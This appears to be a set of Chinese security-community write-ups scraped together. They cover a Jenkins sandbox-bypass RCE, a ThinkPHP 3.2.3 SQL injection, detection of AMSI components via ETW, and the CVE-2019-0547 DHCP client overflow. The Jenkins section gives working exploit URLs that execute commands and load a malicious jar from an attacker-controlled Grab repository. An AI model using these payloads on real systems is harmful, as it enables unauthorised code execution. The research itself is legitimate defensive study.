在`org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl`中我们首先可以看到这个`DescriptorImpl`是继承于`Descriptor`的，也就是说我们上面的调用链可以访问到该方法；同时在这个方法中存在一个`doCheckScript`的方法，根据前面的分析，我们知道这个方法也是可以被我们利用的，并且这个方法的value是我们可控的，在这里完成的对value这个Groovy表达式的解析。
这里只是解析了Grovvy表达式，那么它是否执行了呢？这里我们先不讨论是否执行了，我们来试一试公告中的沙箱绕过方式是怎么做的。
#### 方法一：@ASTTest中执行assertions
首先在本地试一下`@ASTTest`中是否能执行断言，执行的断言是否能执行代码：
然后试一下这个poc：
http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d
成功执行代码。
这里的执行命令的方式可以换成groovy形式的执行方法:
http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7b+%22open+%2fApplications%2fCalculator.app%22.execute().text+%7d)%0a
class+Person%7b%7d
#### 方法二：@Grab引入外部的危险类
`Grape`是groovy内置的依赖管理引擎，具体的说明在[官方文档](http://docs.groovy-lang.org/latest/html/documentation/grape.html)中，可以仔细阅读。
在阅读`Grape`文档时，关于引入其他存储库这部分的操作是非常令人感兴趣的:
如果这里的root是可以指向我们控制的服务器，引入我们已经构造好的恶意的文件呢？有点像JNDI注入了吧。
本地写个demo试一下:
那么按照这个模式来构造，这里参考Orange第二篇文章或[这篇利用文章](https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html)，我的执行流程如下:
javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/
然后构造如下的请求：
http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a
@Grab(group='demo_server.exp', module='poc', version='2')%0a
import Exp;
### 0x06 总结
Orange这个洞真的是非常精彩，从动态路由入手，再到Pipeline这里groovy表达式解析，真的是一环扣一环，在这里我用正向跟进的方法将整个漏洞梳理了一遍，梳理前是非常迷惑的，梳理后恍然大悟，越品越觉得精彩。Orange
Tql。
T T
### 0x07 Reference
* <https://stackoverflow.com/questions/1809918/what-is-facet-in-javaee>
* <http://docs.groovy-lang.org/latest/html/documentation/grape.html>
* <https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html>
* <https://jenkins.io/security/advisories/>
* <https://jenkins.io/doc/developer/book/>
* <https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/>
* <https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/>
* * * | 社区文章 |
推荐水泡泡师傅的分析感觉比我清楚：<https://xz.aliyun.com/t/2629>
### 0x00 简介
已下是阅读须知
本文所用框架是官方Thinkphp3.2.3
好没了，又不是BB机，没有那么多的骚话=-=
### 0x01 下载安装测试代码
下载地址：<http://www.thinkphp.cn/download/610.html>
自己配置一下数据库路径：test_thinkphp_3.2.3\Application\Common\Conf\config.php
自己安装，安装完以后：访问一下
<http://test_thinkphp_3.2.3.test/index.php/Home/Index/index>
没报错就是成功
开启debug 方便本地测试
路径：test_thinkphp_3.2.3\index.php
路径：test_thinkphp_3.2.3\Application\Common\Conf\config.php
### 0x02 thinkphp3.2 find/select/delete注入演示
3处注入利用方法都是一样的，所以就演示一个 find 注入
Select 与 delete 注入同理
### 0x03 注意点
因为我们例子使用的是TP的I函数而 I函数在不指定第三个参数的情况下会默认经过
Htmlspecialchars 所以 “ > < 都会给转义成实体编码 这就导致了盲注的麻烦
所以如果你们是要盲注的话，就不能使用 > < “
如果他是指定了第三个参数
例如：
I(‘GET.test’, ‘’, ‘trim’) 这样指定第三个参数，那么你就可以想怎么注入怎么注入
### 0x04 漏洞成因
我们先跟进去 find 查看
路径：ThinkPHP\Library\Think\Model.class.php
搜索：function find(
路径：ThinkPHP\Library\Think\Model.class.php
搜索：function _parseOptions(
上图中的各种判断，在实际是根本不走的，就算走了也根本无所谓，不影响漏洞使用。所以我们继续跟进
这里重新打开文件： ThinkPHP\Library\Think\Model.class.php
搜索：function find(
打开文件：ThinkPHP\Library\Think\Db\Driver.class.php
搜索：function select(
打开文件：ThinkPHP\Library\Think\Db\Driver.class.php
搜索：function parseSql(
### 0x05 题外话
通过我们前面的一顿分析我们可以得出漏洞的主要原因是因为
$this->_parseOptions($options);
方法进行了 参数合并而最终又没有二次校验导致的任意注入
而论影响的话。
路径：ThinkPHP\Library\Think\Model.class.php
其中真的可以利用的地方只有6处
delete 方法 第一个参数可外部控制时可注入
select 方法 第一个参数可外部控制时可注入
find 方法 第一个参数可外部控制时可注入
Add 方法 第二个参数可外部控制时可注入
addAll 方法 第二个参数可外部控制时可注入
save 方法 第二个参数可外部控制时可注入 | 社区文章 |
# 如何识别并分析AMSI组件
|
##### 译文声明
本文是翻译文章，文章原作者 specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/antimalware-scan-inngterface-detection-optics-analysis-methodology-858c37c38383>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
AMSI（Antimalware Scan
Interface，反恶意软件扫描接口）是微软提供的一个接口，可以方便端点安全厂商获取某些组件的内存缓冲区数据。根据微软[官方文档](https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal#windows-components-that-integrate-with-amsi)，如下组件可以接入AMSI：
* UAC（User Account Control，用户账户控制，安装执行EXE、COM、MSI或者ActiveX时用来提升权限）
* PowerShell（脚本、交互式使用以及动态代码执行）
* Windows Script Host（`wscript.exe`以及`cscript.exe`）
* JavaScript以及VBScript
* Office VBA宏
防御方关心的是检测引擎，攻击方关注的是如何发展规避技术。从这两者的角度出发，我主要思考了如下几个问题：
* 接入AMSI接口的这些组件实际对应的究竟是哪些PE文件？
* 官方提供的文档是否准确，是否还有其他组件没有在列表上？
* 作为端点安全厂商，是否可以在不注册AMSI provider的情况下，使用AMSI服务？
## 0x01 枚举AMSI组件
为了解决前面两个问题，我们需要找到能够自动发现AMSI组件的方法。这里我们的思路是寻找文件中包含`amsi.dll`这个ASCII或者Unicode字符串的EXE或者DLL文件。那么为什么要搜索`amsi.dll`这个字符串？原因有如下两点：
* `amsi.dll`用来提供扫描缓冲区所需的导出函数：[AmsiScanBuffer](https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer)、[AmsiScanString](https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring)以及`AmsiUacScan`；
* 如果包含这个字符串，则代表EXE或者DLL会通过静态导入（将其作为ASCII字符串存储在PE中）或者在运行时动态导入（将其作为Unicode字符串存储在PE中）的方式来加载`amsi.dll`。
我们可以通过如下PowerShell命令寻找相关结果：
$UserPEs = Get-CimInstance -ClassName CIM_DataFile -Filter 'Drive = "C:" and (Extension = "exe" or Extension = "dll")' -Property 'Name' | Select -ExpandProperty Name
$AMSIReferences1 = $UserPEs | % { Select-String -Encoding ascii -LiteralPath $_ -Pattern 'amsi\.dll' }
$AMSIReferences2 = $UserPEs | % { Select-String -Encoding unicode -LiteralPath $_ -Pattern 'amsi\.dll' }
$AMSIReferences1.Path
$AMSIReferences2.Path
如上PowerShell代码使用WMI来枚举所有EXE以及DLL。之所以不使用`Get-ChildItem`，是因为这个cmdlet在尝试访问无法访问的文件时，可能会抛出异常结束运行。接下来，代码会使用`Select-String`（PowerShell版的`grep`）扫描每个文件，（以正则表达式）判断是否存在ASCII或者Unicode的`amsi.dll`字符串。
梳理结果，我们找到了如下AMSI组件：
%windir%\System32\consent.exe
%windir%\System32\jscript.dll
%windir%\System32\vbscript.dll
%windir%\System32\wbem\fastprox.dll
%windir%\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
%windir%\Microsoft.NET\Framework64\v4.0.30319\clr.dll
%ProgramFiles%\WindowsApps\Microsoft.Office.Desktop_16051.11929.20300.0_x86__8wekyb3d8bbwe\VFS\ProgramFilesCommonX86\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
经过一番调查研究后，我们根据微软的文档把这些AMSI组件分为如下几类：
* UAC：`consent.exe`
* PowerShell：`System.Management.Automation.dll`
* JavaScript以及VBScript：`jscript.dll`及`vbscript.dll`
* Office VBA宏：`VBE7.dll`
* 未归类：`clr.dll`、`fastprox.dll`
在未归类的AMSI组件中，`clr.dll`是通用语言运行时（Common Language Runtime），微软的确提到过从.NET
4.8开始，Windows会扫描加载至内存的assembly。目前已经有一些研究人员研究过如何绕过这种机制，大家可以参考如下资料：
* [g_amsiContext corruption PoC](https://twitter.com/mattifestation/status/1071034781020971009)
* [How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code](https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/)
* [.NET AMSI component hooking](https://twitter.com/_xpn_/status/1069759374984429568)
* [Donut v0.9.1 “Apple Fritter” — Dual-Mode Shellcode, AMSI, and More](https://thewover.github.io/Apple-Fritter/)
还有一个是`fastprox.dll`，下面我们将对这个dll进行分析。
## 0x02 针对WMI的AMSI
由于`fastprox.dll`位于`System32\wbem`目录中，且该文件的描述为“WMI Custom
Marshaller”，因此该文件与WMI密切相关。为了进一步验证这一点，我们可以使用PowerShell来确定哪个进程加载了`fastprox.dll`：
> Get-Process | Where-Object { $_.Modules.ModuleName -contains 'fastprox.dll' }
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- ----------- 2196 274 219988 232044 14,573.92 1192 5 chrome
1162 47 85544 38524 803.86 14580 5 mmc
692 42 129920 55564 1,081.20 2408 5 powershell
874 47 77144 87852 73.48 4040 5 powershell
686 39 71132 42608 42.78 12620 5 powershell
229 13 2596 10072 0.13 2956 0 svchost
480 20 3840 6728 69.66 3376 0 svchost
613 34 26776 17356 4,370.64 3648 0 svchost
217 43 2572 4148 18.64 6728 0 svchost
564 33 11276 16544 4.34 11520 0 svchost
129 7 1496 2196 0.77 5232 0 unsecapp
1650 67 318004 256536 99.28 16576 5 vmconnect
898 29 62664 23660 1,267.36 4776 0 vmms
386 16 8492 13408 21.77 14220 0 WmiPrvSE
176 10 2684 8592 1.36 15772 0 WmiPrvSE
我们可以使用如下一行PowerShell命令，将`svchost.exe`进程解析到对应的服务：
> Get-Process | Where-Object { $_.Modules.ModuleName -contains 'fastprox.dll' -and $_.ProcessName -eq 'svchost' } | ForEach-Object { Get-CimInstance -ClassName Win32_Service -Filter "ProcessId = $($_.Id)" } | Format-Table -AutoSize
ProcessId Name StartMode State Status ExitCode
--------- ---- --------- ----- ------ -------- 2956 Netman Manual Running OK 0
3376 iphlpsvc Auto Running OK 0
3648 Winmgmt Auto Running OK 0
6728 SharedAccess Manual Running OK 0
11520 BITS Auto Running OK 0
根据输出结果，如果任何进程想与WMI交互，似乎都需要使用这个DLL。现在我们可以直接观察代码，了解`fastprox.dll`如何与`amsi.dll`交互。
我只在`JAmsi::JAmsiInitialize`中找到了对`amsi.dll`的引用，相关的反汇编代码如下所示：
首先，只有当前进程不是`%windir%\System32\wbem\wmiprvse.exe`时，该函数才会初始化AMSI。我认为代码想通过这种方式减少没必要的处理逻辑，主要捕捉远程WMI操作，然而我不知道这种猜测是否准确。
接下来代码会调用`LoadLibrary`加载`amsi.dll`，解析所需的相关导出函数，比如`AmsiScanBuffer`。对`AmsiScanBuffer`的唯一一处交叉引用位于`JAmsi::JAmsiRunScanner`函数中：
`JAmsiRunScanner`由`JAmsi::JAmsiProcessor`调用，而如下函数会调用`JAmsiProcessor`：
CWbemSvcWrapper::XWbemServices::ExecNotificationQueryAsync
CWbemSvcWrapper::XWbemServices::CreateInstanceEnum
CWbemSvcWrapper::XWbemServices::ExecQueryAsync
CWbemSvcWrapper::XWbemServices::ExecQuery
CWbemSvcWrapper::XWbemServices::CreateInstanceEnumAsync
CWbemSvcWrapper::XWbemServices::GetObjectW
CWbemSvcWrapper::XWbemServices::ExecMethod
CWbemSvcWrapper::XWbemServices::ExecMethodAsync
CWbemSvcWrapper::XWbemServices::ExecNotificationQuery
CWbemSvcWrapper::XWbemServices::GetObjectAsync
JAmsi::JAmsiProcessor（由CWbemInstance::SetPropValue调用）
除了最后一个函数，其他都对应[IWbemServices](https://docs.microsoft.com/en-us/windows/win32/api/wbemcli/nn-wbemcli-iwbemservices)接口中实现的方法。最后一个函数很可能对应的是[IWbemClassObject::Put](https://docs.microsoft.com/en-us/windows/win32/api/wbemcli/nf-wbemcli-iwbemclassobject-put)方法。
现在我们需要澄清端点安全产品可能获取哪些WMI事件。我在之前关于ETW的一篇[文章](https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63)中介绍了如何使用`AmsiScanBuffer`将所有事件记录到`Microsoft-Antimalware-Scan-Interface`
provider中。使用`AmsiScanBuffer`进行检测有一个优点，那就是可以跟踪调用`AmsiScanBuffer`的任何进程所对应的AMSI缓冲区。如果大家想进一步了解ETW机制以及跟踪技术，可以详细参考那篇文章。这里我们可以使用`logman`来捕捉所有AMSI事件，获取相关的WMI事件：
logman start trace AMSITrace -p Microsoft-Antimalware-Scan-Interface (Event1) -o amsi.etl -ets
开始跟踪后，我们可以与WMI交互，看一下是否生成了一些事件。我使用了如下测试命令：
$CimSession = New-CimSession -ComputerName .
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = 'notepad.exe'} -CimSession $CIMSession
$CIMSession | Remove-CimSession
这条命令中，我创建了一个本地CIM会话，用来模拟远程WMI连接。在这个过程中，我注意避免在`wmiprvse.exe`上下文中跟踪，前面提到过，该进程会被排除在AMSI处理过程之外。
完成与WMI的交互后，使用如下命令停止跟踪：
logman stop AMSITrace -ets
然后我使用PowerShell来查找WMI事件，的确发现了一个结果：
> $AMSIEvents = Get-WinEvent -Path .\amsi.etl -Oldest
> $AMSIEvents[5] | Format-List *
Message : AmsiScanBuffer
Id : 1101
Version : 0
Qualifiers :
Level : 4
Task : 0
Opcode : 0
Keywords : -9223372036854775807
RecordId : 5
ProviderName : Microsoft-Antimalware-Scan-Interface
ProviderId : 2a576b87-09a7-520e-c21a-4942f0271d67
LogName :
ProcessId : 7184
ThreadId : 8708
MachineName : COMPY486
UserId :
TimeCreated : 10/3/2019 12:14:51 PM
ActivityId : 95823c06-72e6-0000-a133-8395e672d501
RelatedActivityId :
ContainerLog : c:\users\testuser\desktop\amsi.etl
MatchedQueryIds : {}
Bookmark : System.Diagnostics.Eventing.Reader.EventBookmark
LevelDisplayName : Information
OpcodeDisplayName : Info
TaskDisplayName :
KeywordsDisplayNames : {}
Properties : {System.Diagnostics.Eventing.Reader.EventProperty, System.Diagnostics.Eventing.Reader.EventProperty...}
> $AMSIEvents[5].Properties
Value
----- 0
1
1
WMI
300
300
{67, 0, 73, 0...}
{131, 136, 119, 209...}
False
> [Text.Encoding]::Unicode.GetString($AMSIEvents[5].Properties[7].Value)
CIM_RegisteredSpecification.CreateInstanceEnum();
Win32_Process.GetObjectAsync();
Win32_Process.GetObject();
SetPropValue.CommandLine("notepad.exe");
> Get-CimInstance -ClassName Win32_Service -Filter "ProcessId = $($AMSIEvents[5].ProcessId)"
ProcessId Name StartMode State Status ExitCode
--------- ---- --------- ----- ------ -------- 7184 WinRM Auto Running OK 0
那么现在我们如何理解目前搜集到的所有信息呢？首先，解析跟踪到的每个事件后，我们发现第6个事件（索引值为5）是唯一一个在第4个`Properties`属性中包含`WMI`的事件。此外，第8个`Properties`值包含一段二进制数据，这些数据看上去由Unicode字符串所构成。解码字符串后，该字符串对应的是我在前面执行的`Win32_Process
Create`操作。这里我们还需要注意AMSI事件来源的进程ID：`7184`，对应的是`svchost.exe`进程。使用`Win32_Service`
`WMI`类来解析对应的服务，可以发现实际进程对应的是WinRM服务。这一点非常正常，因为CIM
cmdlet基于WSMan，而后者是WimRM服务所使用的协议。
作为防御方及端点安全厂商，我们可以将这种上下文信息纳入可疑的WMI操作。现在WMI服务的应用范围非常广泛，系统会在许多合法操作中用到WMI，这种场景会不会影响对AMSI缓冲区的其他使用场景呢？经过测试后，我发现我显式执行的许多WMI操作并没有被记录下来。经过一些逆向分析后，我找到了背后的原因：只有当`JAmsi::JAmsiIsScannerNeeded`返回`True`时，系统才会调用`JAmsi::JAmsiRunScanner`：
简单分析`JAmsi::JAmsiIsScannerNeeded`的实现后，我发现系统会计算WMI操作对应的上下文字符串的CRC校验和，只有当校验和满足如下白名单值时才会记录这些操作：
在本文撰写时，白名单中的CRC值包括：`0x788C9917`、`0x96B23E8A`、`0xB8DA804E`、`0xC0B29B3D`、`0xD16F4088`、`0xD61D2EA7`、`0xEF726924`、`0x46B9D093`以及`0xF837EFC3`。
我没有专门针对这些校验和进行暴力破解，但考虑到系统会记录下`Win32_Process
Create`操作，因此我们可以推测这些校验和对应的是常见的WMI攻击行为。我们可以将计算这些字符串的校验和当成一种安全机制，`vbscript.dll`以及`jscrit.dll`中也会[计算](https://twitter.com/KyleHanslovan/status/1083344377404186625)这些校验和。
通过这部分的分析，我们发现微软一直在向安全厂商以及防御方提供更多安全信息，拓宽安全视角。一旦找到了白名单对应的值，我相信这种安全机制就很容易被绕过。安全攻防领域从来没有万灵膏药，这也是我们往正确方向迈出的重要一步。
大家可能还有个问题：如何解释`Get-WinEvent`返回事件中的`Properties`字段值？下文我们将详细介绍解决该问题的方法。
## 0x03 解析AMSI事件中的字段名
如果想将事件字段名称与`.ETL`日志关联起来，最简单的一种方法就是将日志文件载入Event
Viewer，该应用会将跟踪记录转换为`EVTX`文件，在后台解析出AMSI ETW
provider对应的manifest信息，并将字段名对应地附加到生成的`.evtx`文件中。比如，我们可以在“Details”窗口中看到如下信息：
此外，我们还可以使用`perfview.exe`，将ETW
provider信息[恢复](https://twitter.com/mattifestation/status/774321379411955712)成XML格式。恢复出来的字段名顺序对应`Get-WinEvent`返回的`Properties`值顺序。
根据对`AmsiScanBuffer`有限的逆向分析结果，Event ID 1101（AMSI扫描事件）中相应的字段描述如下所示：
* `session`：会话标识符。如果通过[AmsiOpenSession](https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession)来建立AMSI扫描会话，就会出现该字段。字段值通过调用[IAmsiStream::GetAttribute](https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-iamsistream-getattribute)（指定`AMSI_ATTRIBUTE_SESSION`参数）来获取。如果出现了这个字段，我们可以通过该值关联来自同一会话的多次扫描。比如，如果攻击者执行了经过混淆的PowerShell脚本，那么从理论上讲，与该操作相关的所有脚本块（scriptblock）都会使用相同的会话标识符。
* `scanStatus`：这似乎是个`boolean`值，我没见过除`1`之外的其他值，没有进一步调查。
* `scanResult`：这是端点产品扫描完缓冲区后返回的`AMSI_RESULT`值。在这里`1`对应的是`AMSI_RESULT_NOT_DETECTED`。
* `appname`：通过`AmsiInitialize` `appName`参数传递的应用程序名。对于`fastprox.dll`，`appName`对应的是硬编码的`WMI`。
* `contentname`：如果扫描的内容源自于文件，那么这个字段就包含完整的文件路径。
* `contentsize`：如果内容被过滤，那么该字段代表的是过滤后的内容大小，会比`originalsize`值小。在实际测试中，我没有看到被过滤后的内容。
* `originalsize`：未过滤内容的大小。我们可以通过调用`IAmsiStream::GetAttribute`方法（指定`AMSI_ATTRIBUTE_CONTENT_SIZE`参数）来获取这个值。
* `content`：被扫描的payload对应的原始字节。根据组件的实现方式，该字段可能对应Uincode字符串或者raw字节。比如，对于`clr.dll`，该字段值为加载到内存中需要扫描的assembly对应的完整PE。
* `hash`：被扫描缓冲区对应的SHA256哈希。
* `contentFiltered`：代表内容是否被截断（truncated）/过滤（filtered）。在本文撰写时，`AmsiScanBuffer`将这个字段设置为`false`，目前我没有找到将该值设为`true`的代码逻辑。
## 0x04 总结
本文的目标是介绍能够识别AMSI组件的一种方法，分析这些组件的实现方式（以WMI组件为例），并从AMSI
ETW事件中进一步挖掘信息。攻击者可以使用这种方法来规避AMSI检测机制，防御方也能借鉴这种方法来解析ETW事件。目前我们尚不清楚微软是否会正式公布AMSI所有组件的文档，但根据本文分析，微软一直在改进AMSI，完善系统安全性。
在后续研究中，我会将AMSI ETW跟踪功能加入我的恶意软件分析工具中，该功能可以帮我们捕捉被高度混淆的恶意软件样本所使用的脚本、WMI以及.NET
assembly。 | 社区文章 |
# CVE-2019-0547 Windows DHCP Client 代码执行漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前两天看了有毒师傅的一个IE浏览器堆溢出的漏洞，感觉分析思路很流畅，从漏洞信息到漏洞分析再到给出检测方案，就想着按照这个思路分析一下自己最近研究的内容，一个DHCP客户端的任意代码执行漏洞。
## 漏洞描述
CVE-2019-0547，一个Windows系统下DHCP客户端的任意代码执行漏洞，漏洞的主要原因是对DHCP消息的错误的处理方式造成内存损坏。攻击者可以通过构造恶意的DHCP响应数据包到存在漏洞的系统中来触发漏洞，最终可以实现以管理员权限执行任意代码，危害巨大。
## 漏洞影响范围
• Microsoft Windows10 version1803
• Microsoft Windows Serverversion 1803(ServerCoreInstallation)
该漏洞影响的系统版本只有两个，但是随着系统版本迭代，现在使用Windows 10的人越来越多，这个漏洞还是需要关注的。
## 漏洞基本信息
漏洞触发文件：DHCP服务主机上运行的dcpcore.dll
漏洞触发函数：dhcpcore!DecodeDomainSearchListData()
漏洞触发数据对象：一个原本用于存储域搜索结果的堆缓冲区
## 漏洞分析
### 基础知识
动态主机配置协议(DHCP)，主要用于集中管理和自动化网络上IP地址的分配。 它是BOOTP协议的扩展。
除了IP地址分配外，DHCP客户端还从DHCP服务器接收管理其网络配置所需的信息，包括子网掩码，网关地址，DNS服务器地址等。
DHCP使用UDP端口67和68进行通信。 DHCP在所有现代操作系统上都是标准的-并且默认情况下已对网络接口启用-在Microsoft Windows上。
典型的DHCP事务流程如下：
1. client发送DHCP DISCOVER到server
2. server发送DHCP OFFER到client
3. client发送DHCP REQUEST到server
4. server响应一个DHCP ACK到client
总结上面的过程，DHCP的工作方式如下：在客户端获取IP地址之前，它会在本地网络上广播DHCP DISCOVER消息。
本地网络上的任何DHCP服务器都可以使用DHCP OFFER响应，其中包含分配给客户端的IP地址。
该IP地址通常是租用的，这意味着它会在一定时间后过期。为了续订租约，客户端向DHCP服务器发送单播DHCP REQUEST消息。 DHCP服务器以DHCP
ACK消息响应。
所有DHCP message均以通用的报头结构开头。所有多字节值均以网络字节顺序排列。 该结构描述如下[1]：
offset | size | value
---|---|---
0x0000 | 1 | Operation code (1 – request, 2 – response)
0x0001 | 1 | Hardware type (1 – Ethernet)
0x0002 | 1 | Hardware address length (usually 6 for Ethernet)
0x0003 | 1 | Hops
0x0004 | 4 | Transaction ID
0x0008 | 2 | Time since client started
0x000A | 2 | Flags
0x000C | 4 | Client IP address if assigned
0x0010 | 4 | Client IP address
0x0014 | 4 | Next server IP address
0x0018 | 4 | Relay IP address
0x001C | 16 | Client hardware address
0x002C | 64 | Server hostname (optional)
0x006C | 128 | Boot file name
0x00EC | 4 | Magic cookie (0x63 0x82 0x53 0x63)
0x00F0 | variable | Options
通用标头的长度是固定的，但是后面可以跟可变长度的DHCP选项。 每个单独的DHCP选项具有以下格式：
Offset | Size | Value
---|---|---
0000 | 1 | Option tag
0001 | 1 | Option length (len)
0002 | len | Option data
除了IP地址（包含在“客户端IP地址”字段中）之外，DHCP message还使用“option”来包括其他几个配置参数，例如“子网掩码”（option
tag：1），“路由器”（option tag：3），DNS服务器（option tag：6），NTP服务器（option
tag：4），域搜索（option tag：119）。 有关标准option tag的列表，请参见[3]。
该漏洞主要与“域搜索”选项有关，该选项包含一个或多个DNS后缀，如果DNS名称不能自行解析，则客户端可以使用该后缀附加到DNS名称。
例如，考虑将分发“example.com”的DHCP服务器作为域搜索DNS后缀。
如果客户端向DNS查询“foo”，但没有收到任何DNS记录，则它将继续查询“foo.example.com”。使用此功能可避免对网络内的所有主机重复使用通用组织DNS后缀。
域搜索选项的选项数据字段包含wire
format的DNS名称列表。DNS名称对一个或多个DNS标签进行编码，并以终止于零的字符结尾。DNS标签可以压缩或不压缩。未压缩的DNS标签是一字节长度的前缀的八位字节字符串。压缩标签是一个两字节的无符号整数值，其前两个最高有效位设置为1，其余位以字节为单位存储偏移量。因此，单个DNS名称可能由压缩和未压缩标签混合组成。DNS根目录“.”由单字节“x00”表示。使用未压缩的名称编码DNS名称“example.example.com”将变成“
x07examplex07examplex03comx00”。可以使用压缩标签将其编码如下：“x07examplexc0x00x03comx00”。有关DNS名称的更多信息，请参见[2]。
### 原理分析
在Windows的DHCP客户端中存在越界写漏洞。DHCP客户端在启动时作为svchost.exe服务运行，并遵循DHCP协议来获取系统上网络接口的IP地址。当收到DHCP答复时，它将使用dhcpcore解析DHCP选项！
DhcpExtractFullOptions()，当遇到域搜索选项（option
tag：119）时，该调用再调用dhcpcore！DecodeDomainSearchListData()。此函数主要将wire
format的DNS名称转换为基于文本的DNS名称。它遍历每个DNS名称，在堆上分配内存，解压缩遇到的任何标签，并使用memcpy()复制标签，并在标签之间插入“.”，名称之间插入”,”。用于存储DNS名称的已分配缓冲区大小是基于长度的字符串，并且由于DNS名称以空值结尾，因此缓冲区大小比DNS名称小1。因此，DNS名称“x07examplex03comx00”导致缓冲区大小为12（请注意，字符串的长度为13）。如果DHCP回复消息包含前两个字节为零的域搜索选项，则调用程序函数将它们视为两个不同名称的两个以空字符结尾的字符，并将大小为0传递给dhcpcore！DecodeDomainSearchListData()，该函数将无法正确验证，而是调用HeapAlloc分配0字节的缓冲区。然后，它继续处理两个根标签，并写入无效缓冲区，从而导致越界写入。
攻击者可以设置一个恶意的DHCP服务器并使用恶意的DHCP响应消息来响应同一网段中的DHCP请求，从而利用该漏洞。
### 代码分析
分析使用的dhcpcore.dll版本为10.0.17134.191。
; dhcpcore!DecodeDomainSearchListData:
6ffcb0cc 8bff mov edi,edi
6ffcb0ce 55 push ebp
6ffcb0cf 8bec mov ebp,esp
6ffcb0d1 83ec2c sub esp,2Ch
6ffcb0d4 8bc2 mov eax,edx
6ffcb0d6 894de4 mov dword ptr [ebp-1Ch],ecx
6ffcb0d9 8bc8 mov ecx,eax
6ffcb0db 8945f0 mov dword ptr [ebp-10h],eax
6ffcb0de 53 push ebx
6ffcb0df 8b5d0c mov ebx,dword ptr [ebp+0Ch]
6ffcb0e2 33d2 xor edx,edx
6ffcb0e4 c1e902 shr ecx,2
6ffcb0e7 83c164 add ecx,64h
6ffcb0ea 56 push esi
6ffcb0eb 33f6 xor esi,esi
6ffcb0ed 894dd4 mov dword ptr [ebp-2Ch],ecx
6ffcb0f0 8b4df0 mov ecx,dword ptr [ebp-10h]
6ffcb0f3 83f802 cmp eax,2
6ffcb0f6 57 push edi
6ffcb0f7 8b7d14 mov edi,dword ptr [ebp+14h]
6ffcb0fa 1bc0 sbb eax,eax
6ffcb0fc 40 inc eax
6ffcb0fd 8907 mov dword ptr [edi],eax ; 外层循环开始
6ffcb0ff 833f00 cmp dword ptr [edi],0
6ffcb102 0f8498010000 je dhcpcore!DecodeDomainSearchListData+0x1d4
6ffcb108 42 inc edx ; edx是计数器
6ffcb109 8955f4 mov dword ptr [ebp-0Ch],edx ; 第一次迭代时跳过HeapFree
6ffcb10c 83fa02 cmp edx,2
6ffcb0fd 8907 mov dword ptr [edi],eax
6ffcb0ff 833f00 cmp dword ptr [edi],0 ; 第二次迭代, HeapFree and HeapAlloc都发生了.
6ffcb102 0f8498010000 je dhcpcore!DecodeDomainSearchListData+0x1d4
6ffcb108 42 inc edx
6ffcb109 8955f4 mov dword ptr [ebp-0Ch],edx
6ffcb10c 83fa02 cmp edx,2
6ffcb10f 7533 jne dhcpcore!DecodeDomainSearchListData+0x78
6ffcb111 8b7508 mov esi,dword ptr [ebp+8]
6ffcb114 833e00 cmp dword ptr [esi],0
6ffcb117 7413 je dhcpcore!DecodeDomainSearchListData+0x60
6ffcb119 ff36 push dword ptr [esi]
6ffcb11b 6a00 push 0
6ffcb11d ff35580dff6f push dword ptr [dhcpcore!DhcpGlobalHeap]
6ffcb123 ff155c21ff6f call dword ptr [dhcpcore!_imp__HeapFree]
6ffcb129 832600 and dword ptr [esi],0 ; [ebx]是该函数的参数。 DNS名称的累积长度; 排除终止空字节.
6ffcb12c ff33 push dword ptr [ebx] ; dwBytes (size) In malicious case ebx = 0 6ffcb12e 6a08 push 8 ; dwFlags
6ffcb130 ff35580dff6f push dword ptr [dhcpcore!DhcpGlobalHeap] ; hHeap
6ffcb136 ff155021ff6f call dword ptr [dhcpcore!_imp__HeapAlloc] ; HeapAlloc 0 bytes 6ffcb13c 8b55f4 mov edx,dword ptr [ebp-0Ch]
6ffcb13f 8bf0 mov esi,eax ; esi = buffer allocated.size不能为0
6ffcb141 8b4df0 mov ecx,dword ptr [ebp-10h]
6ffcb144 8b4510 mov eax,dword ptr [ebp+10h]
6ffcb147 832300 and dword ptr [ebx],0
